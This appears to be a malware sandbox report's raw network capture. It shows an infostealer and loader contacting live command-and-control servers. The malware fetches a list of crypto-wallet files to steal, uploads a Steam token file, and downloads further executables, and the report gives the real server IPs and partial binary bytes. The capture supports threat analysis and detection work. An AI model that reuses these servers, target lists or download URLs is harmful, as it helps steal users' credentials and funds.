Nov 25, 2024 18:28:48.105633974 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 2d 2d 0d 0a Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="message"wallets------HDGCGHIJKEGIECBFCBAE--
Nov 25, 2024 18:28:48.560398102 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 18:28:48.563138008 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"files------KJKJKFCBKKJDGDHIDBGI--
Nov 25, 2024 18:28:49.013952017 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:49.029077053 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file"------HIDHIEGIIIECAKEBFBAA--
Nov 25, 2024 18:28:49.972470045 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:50.020090103 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"ybncbhylepme------JDGHIIJKEBGIDHIDBKJD--
Nov 25, 2024 18:28:50.472143888 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49892	185.215.113.16	80	2000	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:50.684577942 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 18:28:52.135521889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 17:28:51 GMT Content-Type: application/octet-stream Content-Length: 1853440 Last-Modified: Mon, 25 Nov 2024 17:04:15 GMT Connection: keep-alive ETag: "6744ae0f-1c4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I@WkDjIiI @.rsrcD@.idata @ )@udcljtek0@0,@bcsmrgvxpI"@.taggant0I"&@
Nov 25, 2024 18:28:52.135582924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:52.135636091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:52.135690928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:52.135745049 CET	1236	IN	Data Raw: 78 4f c2 5f af f1 13 82 ce ae 2e 5c 73 aa b0 e6 9d d2 4b 93 25 04 05 ee bc 24 a9 38 b8 80 b2 03 dc 4c 21 d5 de 8c 36 18 bb 95 ce 1d 3f a3 c1 fb 0e 94 72 d8 0a b6 85 62 dd 93 42 8f b5 71 b2 e2 3e 00 de 2e 57 d5 8f e3 ac 51 b4 1d ff 93 fa 29 ae 35 Data Ascii: xO_.\sK%$8L!6?rbBq>.WQ)5Bk`/#BA@;xOd<<C@"T\|$E[?&SJRLtL%1MHC'[NPBA[n0-X#c?<_A
Nov 25, 2024 18:28:52.135797977 CET	1236	IN	Data Raw: c8 40 5c a8 8f 58 82 5d a7 6c 6e d9 67 e5 2c c5 1e 42 b6 cb ad 01 0e 40 2e 47 b2 c3 c2 0c 15 18 2f a2 da 17 fd ec ab 56 3c 6e 06 2b 16 80 92 4f 93 21 32 23 b5 51 af 1c 97 82 35 6b b8 74 2e 0c df 40 a8 2f 9f 1c 78 fe 62 5d b3 b7 8e cd 4f 3f 31 23 Data Ascii: @\X]lng,B@.G/V<n+O!2#Q5kt.@/xb]O?1#7kc<_?\\I28sUwC9pF@8a{N,bjk\bfGSXVj1c]~IH`UBQR^hV_3:oAjL
Nov 25, 2024 18:28:52.135833025 CET	1236	IN	Data Raw: 4a 99 0d a4 f6 9b 0e 42 fb 95 8b 99 ad a3 6a ed 67 3d 20 f8 2b 10 67 c8 1f aa 5d cc e6 92 6a 05 8a c3 00 09 fb ad 41 3e e7 73 ae 4c d8 28 47 5d c9 1c 0c ad 37 8d 2c 29 ee ec 1f 1e 5a f0 e1 a3 37 ab c8 70 2d 28 4e 43 90 2f ca 4d f7 bf 09 42 6b 60 Data Ascii: JBjg= +g]jA>sL(G]7,)Z7p-(NC/MBk`=N{WM<TPo>_6e=cSh`VVEvN=M{SCDeeDv&r?58_\~bPH m" o^
Nov 25, 2024 18:28:52.135869026 CET	1236	IN	Data Raw: 60 ea b4 c5 ac 2c c8 28 a3 80 d6 67 67 ca 82 26 17 bf 3c 3d e9 3c b0 63 ad 0a 36 bb 8c 55 5b c2 9a 88 61 c6 48 34 dc 33 12 28 16 e8 5a fb f7 3b b7 04 a9 50 1c 6e b7 19 e2 05 3e 42 90 cd 8a 8e ac 52 fd ee a8 0a 99 c4 ad c0 a6 86 f4 a9 67 29 22 a7 Data Ascii: `,(gg&<=<c6U[aH43(Z;Pn>BRg)"9x4mRL$}Z@i kT_Kx4LsS]=[B-ZP2P<aP{SYWh$7%w%g$\|"1W#\| YJB[cDcR\u=>30~
Nov 25, 2024 18:28:52.135904074 CET	1236	IN	Data Raw: 3c e0 41 9f 5d c6 9e 40 eb e9 4e 37 6f a3 aa af c2 e2 f5 c9 9a a8 12 85 6c e4 ef 54 5a de 9b 43 4f 8c 3a 42 93 83 cc 50 99 c3 c3 2d c7 99 12 40 f6 e0 78 e0 49 46 4a 19 00 83 c0 47 b1 9b 00 08 f3 a5 72 7a 46 d3 9a a8 76 56 8d e1 9d 14 4d 5c 44 e6 Data Ascii: <A]@N7olTZCO:BP-@xIFJGrzFvVM\D 2SR^`>hRcFSf"I'L#DawY>R{QU)F9\vhqYfk]&{5Z&s6c>BO<`7s\5
Nov 25, 2024 18:28:52.135941029 CET	1236	IN	Data Raw: a0 9e d2 d4 a8 52 f6 82 b8 36 d3 1a 15 15 c2 fe 72 aa df f7 f6 c0 48 8c 93 f2 b1 f9 0d ee c0 3c 59 ef 05 44 51 ca a3 d9 ac 8a ca da 90 14 c4 de 19 57 0e 18 bb 94 51 3b cd 0b 98 1b cf d1 ef 65 e2 dc 41 8b 8f 9e ac 08 0f b5 5b 63 57 d1 98 6b 78 58 Data Ascii: R6rH<YDQWQ;eA[cWkxXE]SCK3Exfh!IJr-T16P$"MU~5_g@jP.?TSrVLS_aO!^t@wdE{1\=.HK&wk
Nov 25, 2024 18:28:52.256536007 CET	1236	IN	Data Raw: 87 42 96 b4 f0 4a 4a 5c 22 4e 57 48 87 10 c6 33 55 ec 31 c1 a4 1b 4a c3 26 b0 88 27 23 dc 43 cb 0e 6b b3 7b a3 a0 2e 23 cc 2e 3b 8d e0 1c c2 94 37 cd 8f db a2 d0 3f c6 b6 13 eb 3b 99 10 fc 39 3e 59 1f 2e 55 e8 85 38 2e 73 1a ce 64 a8 a3 af 51 dc Data Ascii: BJJ\"NWH3U1J&'#Ck{.#.;7?;9>Y.U8.sdQf74z<k'5'=c(7^>&Wrm4GYf^8dj\|":t<0o`{f!2FXBH#JUl_"Bw5&B^$D!Li7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49913	185.215.113.206	80	2000	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:56.047799110 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAEGCBFHJDGCBFHDAFB--
Nov 25, 2024 18:28:57.994512081 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50079	185.215.113.43	80	5240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:30:04.966427088 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 18:30:06.365164995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 17:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50085	185.215.113.43	80	5240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:30:08.009243965 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 36 32 41 37 32 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B62A72B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 25, 2024 18:30:09.570671082 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 17:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 39 30 37 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 30 38 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 30 38 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 30 38 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1009078001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009083001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009084001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009085001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009086001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50090	31.41.244.11	80	5240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:30:09.694796085 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 18:30:11.076389074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 17:30:10 GMT Content-Type: application/octet-stream Content-Length: 4433920 Last-Modified: Mon, 25 Nov 2024 16:44:48 GMT Connection: keep-alive ETag: "6744a980-43a800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 f4 de 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 